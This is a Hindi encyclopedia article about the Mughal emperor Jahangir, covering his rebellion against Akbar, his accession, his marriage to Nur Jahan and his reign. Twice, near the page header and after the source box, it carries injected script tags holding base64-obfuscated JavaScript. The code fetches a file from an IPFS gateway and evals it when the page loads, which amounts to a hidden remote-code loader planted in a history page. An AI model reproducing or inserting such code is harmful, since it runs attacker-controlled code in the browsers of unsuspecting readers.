जहाँगीर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
जहाँगीर
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 437
भाषा हिन्दी देवनागरी
संपादक राम प्रसाद त्रिपाठी
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

जहाँगीर अकबर का पुत्र और भारत का चौथा मुगल सम्राट्। फतहपुर सीकरी में एक हिन्दू रानी के गर्भ से 31 अगस्त, 1569 को इसका जन्म हुआ। 'शेख सलीम चिश्ती' की कुटिया में उत्पन्न होने के कारण राजकुमार का नाम सलीम रखा गया। अकबर ने इसके पालन और उच्चशिक्षा की समुचित व्यवस्था की किंतु राजकुमार अपने को राजनीतिक वातावरण से मुक्त नहीं रख सका, फलत: पिता-पुत्र में वैमनस्य हो गया। 1599 में इलाहाबाद में विद्रोह करके उसने अपने स्वतंत्र राज्य की घोषणा की।

अकबर ने सलीम के साथ संधि के अनेक असफल प्रयत्न किए। एक बार राजकुमार अपनी सेना लेकर अकबर पर आक्रमण के मंतव्य से आगरे की ओर चला, किंतु अकबर के शक्तिशाली प्रतिरोध के कारण वह इलाहाबाद लौट गया। वहाँ पहुँचकर उसने अपने को सम्राट् घोषित किया। बैरमखाँ की विधवा पत्नी सलीमा सुलतान बेगम की मध्यस्थता से सलीम और अकबर के बीच केवल अस्थायी संधि हो सकी। लेकिन सलीम को अपने पिता पर अविश्वास था, इसलिये उसने दरबार के एक विश्वासपात्र मंत्री अबुलफजल को षड्यंत्र का मूल समझ कर उसकी हत्या कर दी।

राज्याभिषेक

1605 में अकबर की मृत्यु के बाद यह 'अबुल मुजफ्फर नूरुद्दीन मुहम्मद जहाँगीर बादशाह-ए-गाजी के नाम से राज्यसिंहासन पर बैठा। यह नाम उसके सिक्कों से प्रकट होता है। जहाँगीर के सत्तारूढ़ होने के एक वर्ष पश्चात्‌ उसका पुत्र खुसरा विद्रोही हो गया। किंतु 1623 में बुहारनपुर में उसकी मृत्यु होने पर जहाँगीर निश्चित हो गया। उसने सिखों के धर्मगुरु अर्जुनसिंह पर खुसरो के विद्रोह के सहायक होने का आरोप लगाकर उसकी हत्या करवा दी जिसके फलस्वरूप मुगलों और सिखों में स्थायी वैमनस्य उत्पन्न हो गया, जिसके चिंह्न आगे बहुत बार स्पष्ट हुए।

विवाह

जहाँगीर ने 1611 में गयासबेग की पुत्री नूरजहाँ से विवाह किया। तत्कालीन सूत्रों से उसके और नूरजहाँ के प्रणय संबंध तथा शेर अफगन की हत्या के पुष्ट प्रमाण नहीं मिलते। विवाह के बाद राज्य की सारी शक्ति जहाँगीर ने नूरजहाँ को समर्पित कर दी। इस रूप में वह बहुत प्रभावशाली सिद्ध हुई।

1623 में राजकुमार खुर्रम ने विद्रोह किया। नूरजहाँ ने 'शहरयार' को राज्य का उत्तराधिकारी बनाने की चेष्टा की। गृहयुद्ध छिड़ा जिसमें राज्यकोष का बहुत धन नष्ट हुआ। किंतु विद्रोह के तीन वर्षों के पश्चात्‌ कुशल सेनानायक महावत खाँ ने खुर्रम को आत्मसमर्पण के लिये बाध्य कर दिया।

1626 में महावत खाँ ने जहाँगीर को नूरजहाँ और उसके भाई आसफ खाँ के प्रभाव से मुक्त करने का प्रयत्न किया, किंतु असफल हुआ। इस बार उसने राजकुमार खुर्रम से मिलकर षड्यंत्र की योजना बनाई। नूरजहाँ ने खाँनजहाँ लोदी को सेनानायक नियुक्त किया और उसे विद्रोहियों के दमन का आदेश दिया किंतु संयोगवश उसी समय जहाँगीर की मृत्यु हो गई (28 अक्टूबर, 1627) और नूरजहाँ की योजनाएँ सफल न हो सकीं।

जहाँगीर एक शिक्षित और संस्कृत व्यक्ति था। उसे कला और साहित्य में रुचि थी। वह शोषण और दमन को मानवता के विरुद्ध समझता था। उसकी न्यायप्रियता की अनेक कहानियाँ कही जाती हैं। उसने महल के सिंहद्वार से अंदर तक एक सोने की जंजीर बँधवाई थी, जिसमें बहुत सी घंटियाँ बँधी हुई थीं। कोई भी व्यक्ति किसी समय उस जंजीर को हिला कर न्याय की माँग कर सकता था। जहाँगीर प्रकृति-प्रेमी लेखक और कवि भी था। इसके राज्य में उद्योग और व्यापार के साथ साथ कला और साहित्य की भी उन्नति हुई। मेवाड़, दक्षिण और बंगाल की कुछ हलचलों के अतिरिक्त राजनीतिक स्थिरता भी बनी रही।

टीका टिप्पणी और संदर्भ